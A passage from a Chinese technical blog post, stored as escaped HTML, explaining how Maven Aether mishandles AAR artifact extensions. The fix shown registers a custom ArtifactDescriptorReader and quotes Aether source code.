parent,\u003cbr\u003e results,\u003cbr\u003e repositories,\u003cbr\u003e depSelector,\u003cbr\u003e depManager,\u003cbr\u003e depTraverser,\u003cbr\u003e verFilter,\u003cbr\u003e d,\u003cbr\u003e descriptorResult,\u003cbr\u003e child);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125; \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDependencyNode\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003enode\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e args.nodes.top();\u003cbr\u003e List\u0026lt;RemoteRepository\u0026gt; repos = getRemoteRepositories(rangeResult.getRepository(version), repositories);\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultDependencyNode\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003echild\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e createDependencyNode(\u003cbr\u003e relocations,\u003cbr\u003e preManaged,\u003cbr\u003e rangeResult,\u003cbr\u003e version,\u003cbr\u003e d,\u003cbr\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e,\u003cbr\u003e repos,\u003cbr\u003e args.request.getRequestContext());\u003cbr\u003e node.getChildren().add(child);\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e ...\u003cbr\u003e\u0026#125;\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e代码中已用注释写明了关键代码位置,可以得知在RootDependency的Collect操作中,会进行ArtifactDescriptor(即,依赖的pom文件的解析)的解析操作,得到该Dependency的直接依赖,此操作由ArtifactDescriptorReader进行,但是既然解析了pom文件,为什么不根据pom文件内声明的extension类型来修正Artifact对应的文件类型呢?只因\u003cdel\u003e你太美\u003c/del\u003eArtifact中的extension是final修饰的,咱也不懂Aether为什么不写个自动修正extension的操作,毕竟人家是apache foundation下的,咱也不敢问。\u003c/p\u003e\u003ch4 id=\"解决方法\"\u003e\u003ca href=\"#解决方法\" class=\"headerlink\" title=\"解决方法\"\u003e\u003c/a\u003e解决方法\u003c/h4\u003e\u003cp\u003e前情回顾,Aether内部使用了Dependency Injection,我们如果需要更改内部的逻辑,最简单的当然还是利用DefaultLocatorService操作了。\u003c/p\u003e\u003cp\u003e我们只需这么修改代码,将默认的ArtifactDescriptorReader更改为可以自动修正的自定义ArtifactDescriptorReader即可:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e...\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003estatic\u003c/span\u003e RepositorySystem \u003cspan class=\"hljs-title function_\"\u003enewRepositorySystem\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e()\u003c/span\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eDefaultServiceLocator\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003elocator\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultServiceLocator\u003c/span\u003e();\u003cbr\u003e\u003cspan class=\"hljs-comment\"\u003e// locator.addService(ArtifactDescriptorReader.class, DefaultArtifactDescriptorReader.class); //默认的ArtifactDescriptorReader\u003c/span\u003e\u003cbr\u003e locator.addService(ArtifactDescriptorReader.class, CompactAARArtifactDescriptorReader.class);\u003cspan class=\"hljs-comment\"\u003e//兼容AAR的CompactAARArtifactDescriptorReader\u003c/span\u003e\u003cbr\u003e locator.addService(VersionResolver.class, DefaultVersionResolver.class);\u003cbr\u003e locator.addService(VersionRangeResolver.class, DefaultVersionRangeResolver.class);\u003cbr\u003e locator.addService(MetadataGeneratorFactory.class, SnapshotMetadataGeneratorFactory.class);\u003cbr\u003e locator.addService(MetadataGeneratorFactory.class, VersionsMetadataGeneratorFactory.class);\u003cbr\u003e locator.addService(RepositoryConnectorFactory.class, BasicRepositoryConnectorFactory.class);\u003cbr\u003e locator.addService(TransporterFactory.class, FileTransporterFactory.class);\u003cbr\u003e locator.addService(TransporterFactory.class, HttpTransporterFactory.class);\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e locator.getService(RepositorySystem.class);\u003cbr\u003e \u0026#125;\u003cbr\u003e...\u003cbr\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个思路显然是对的,但是问题又来了,我们如何实现自动修正,毕竟人家extension是final修饰的?反射操作。\u003c/p\u003e\u003cp\u003e那,又怎么获取正确的extension呢?不妨来看看ArtifactDescriptorReader的代码,看看人家是怎么解析的。\u003c/p\u003e\u003cp\u003e\u003ccode\u003eorg.apache.maven.repository.internal.DefaultArtifactDescriptorReader\u003c/code\u003e的代码摘要(具体片段懒得继续缩减了,就这个方法先凑活看好了):\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003ccode class=\"hljs java\"\u003e\u003cspan class=\"hljs-keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultArtifactDescriptorReader\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eimplements\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorReader\u003c/span\u003e, Service\u003cbr\u003e\u0026#123;\u003cbr\u003e ...\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eprivate\u003c/span\u003e Model \u003cspan class=\"hljs-title function_\"\u003eloadPom\u003c/span\u003e\u003cspan class=\"hljs-params\"\u003e( RepositorySystemSession session, ArtifactDescriptorRequest request,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"hljs-params\"\u003e ArtifactDescriptorResult result )\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrows\u003c/span\u003e ArtifactDescriptorException\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRequestTrace\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003etrace\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e RequestTrace.newChild( request.getTrace(), request );\u003cbr\u003e\u003cbr\u003e Set\u0026lt;String\u0026gt; visited = \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eLinkedHashSet\u003c/span\u003e\u0026lt;String\u0026gt;();\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e ( \u003cspan class=\"hljs-type\"\u003eArtifact\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eartifact\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e request.getArtifact();; )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersionRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eversionRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eVersionRequest\u003c/span\u003e( artifact, request.getRepositories(), request.getRequestContext() );\u003cbr\u003e versionRequest.setTrace( trace );\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eVersionResult\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eversionResult\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e versionResolver.resolveVersion( session, versionRequest );\u003cbr\u003e\u003cbr\u003e artifact = artifact.setVersion( versionResult.getVersion() );\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e ( VersionResolutionException e )\u003cbr\u003e \u0026#123;\u003cbr\u003e result.addException( e );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e( result );\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( !visited.add( artifact.getGroupId() + \u003cspan class=\"hljs-string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e + artifact.getArtifactId() + \u003cspan class=\"hljs-string\"\u003e\u0026#x27;:\u0026#x27;\u003c/span\u003e + artifact.getBaseVersion() ) )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRepositoryException\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eexception\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eRepositoryException\u003c/span\u003e( \u003cspan class=\"hljs-string\"\u003e\u0026quot;Artifact relocations form a cycle: \u0026quot;\u003c/span\u003e + visited );\u003cbr\u003e invalidDescriptor( session, trace, artifact, exception );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( ( getPolicy( session, artifact, request ) \u0026amp; ArtifactDescriptorPolicy.IGNORE_INVALID ) != \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e result.addException( exception );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e( result );\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifact\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003epomArtifact\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e ArtifactDescriptorUtils.toPomArtifact( artifact );\u003cbr\u003e\u003cbr\u003e ArtifactResult resolveResult;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eArtifactRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003eresolveRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactRequest\u003c/span\u003e( pomArtifact, request.getRepositories(), request.getRequestContext() );\u003cbr\u003e resolveRequest.setTrace( trace );\u003cbr\u003e resolveResult = artifactResolver.resolveArtifact( session, resolveRequest );\u003cbr\u003e pomArtifact = resolveResult.getArtifact();\u003cbr\u003e result.setRepository( resolveResult.getRepository() );\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e ( ArtifactResolutionException e )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( e.getCause() \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e ArtifactNotFoundException )\u003cbr\u003e \u0026#123;\u003cbr\u003e missingDescriptor( session, trace, artifact, (Exception) e.getCause() );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( ( getPolicy( session, artifact, request ) \u0026amp; ArtifactDescriptorPolicy.IGNORE_MISSING ) != \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e result.addException( e );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e( result );\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e Model model;\u003cspan class=\"hljs-comment\"\u003e// Model为POM文件对应的模型类\u003c/span\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003etry\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eModelBuildingRequest\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003emodelRequest\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultModelBuildingRequest\u003c/span\u003e();\u003cbr\u003e modelRequest.setValidationLevel( ModelBuildingRequest.VALIDATION_LEVEL_MINIMAL );\u003cbr\u003e modelRequest.setProcessPlugins( \u003cspan class=\"hljs-literal\"\u003efalse\u003c/span\u003e );\u003cbr\u003e modelRequest.setTwoPhaseBuilding( \u003cspan class=\"hljs-literal\"\u003efalse\u003c/span\u003e );\u003cbr\u003e modelRequest.setSystemProperties( toProperties( session.getUserProperties(),\u003cbr\u003e session.getSystemProperties() ) );\u003cbr\u003e modelRequest.setModelCache( DefaultModelCache.newInstance( session ) );\u003cbr\u003e modelRequest.setModelResolver( \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eDefaultModelResolver\u003c/span\u003e( session, trace.newChild( modelRequest ),\u003cbr\u003e request.getRequestContext(), artifactResolver,\u003cbr\u003e remoteRepositoryManager,\u003cbr\u003e request.getRepositories() ) );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( resolveResult.getRepository() \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e WorkspaceRepository )\u003cbr\u003e \u0026#123;\u003cbr\u003e modelRequest.setPomFile( pomArtifact.getFile() );\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e modelRequest.setModelSource( \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eFileModelSource\u003c/span\u003e( pomArtifact.getFile() ) );\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e model = modelBuilder.build( modelRequest ).getEffectiveModel();\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ecatch\u003c/span\u003e ( ModelBuildingException e )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003efor\u003c/span\u003e ( ModelProblem problem : e.getProblems() )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( problem.getException() \u003cspan class=\"hljs-keyword\"\u003einstanceof\u003c/span\u003e UnresolvableModelException )\u003cbr\u003e \u0026#123;\u003cbr\u003e result.addException( problem.getException() );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e( result );\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e invalidDescriptor( session, trace, artifact, e );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( ( getPolicy( session, artifact, request ) \u0026amp; ArtifactDescriptorPolicy.IGNORE_INVALID ) != \u003cspan class=\"hljs-number\"\u003e0\u003c/span\u003e )\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e;\u003cbr\u003e \u0026#125;\u003cbr\u003e result.addException( e );\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ethrow\u003c/span\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eArtifactDescriptorException\u003c/span\u003e( result );\u003cbr\u003e \u0026#125;\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-type\"\u003eRelocation\u003c/span\u003e \u003cspan class=\"hljs-variable\"\u003erelocation\u003c/span\u003e \u003cspan class=\"hljs-operator\"\u003e=\u003c/span\u003e getRelocation( model );\u003cbr\u003e\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eif\u003c/span\u003e ( relocation != \u003cspan class=\"hljs-literal\"\u003enull\u003c/span\u003e )\u003cbr\u003e \u0026#123;\u003cbr\u003e result.addRelocation( artifact );\u003cbr\u003e artifact =\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"hljs-title class_\"\u003eRelocatedArtifact\u003c/span\u003e( artifact, relocation.getGroupId(), relocation.getArtifactId(),\u003cbr\u003e relocation.getVersion() );\u003cbr\u003e result.setArtifact( artifact );\u003cbr\u003e \u0026#125;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003eelse\u003c/span\u003e\u003cbr\u003e \u0026#123;\u003cbr\u003e \u003cspan class=\"hljs-keyword\"\u003ereturn\u003c/span\u003e model;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e \u0026#125;\u003cbr\u003e 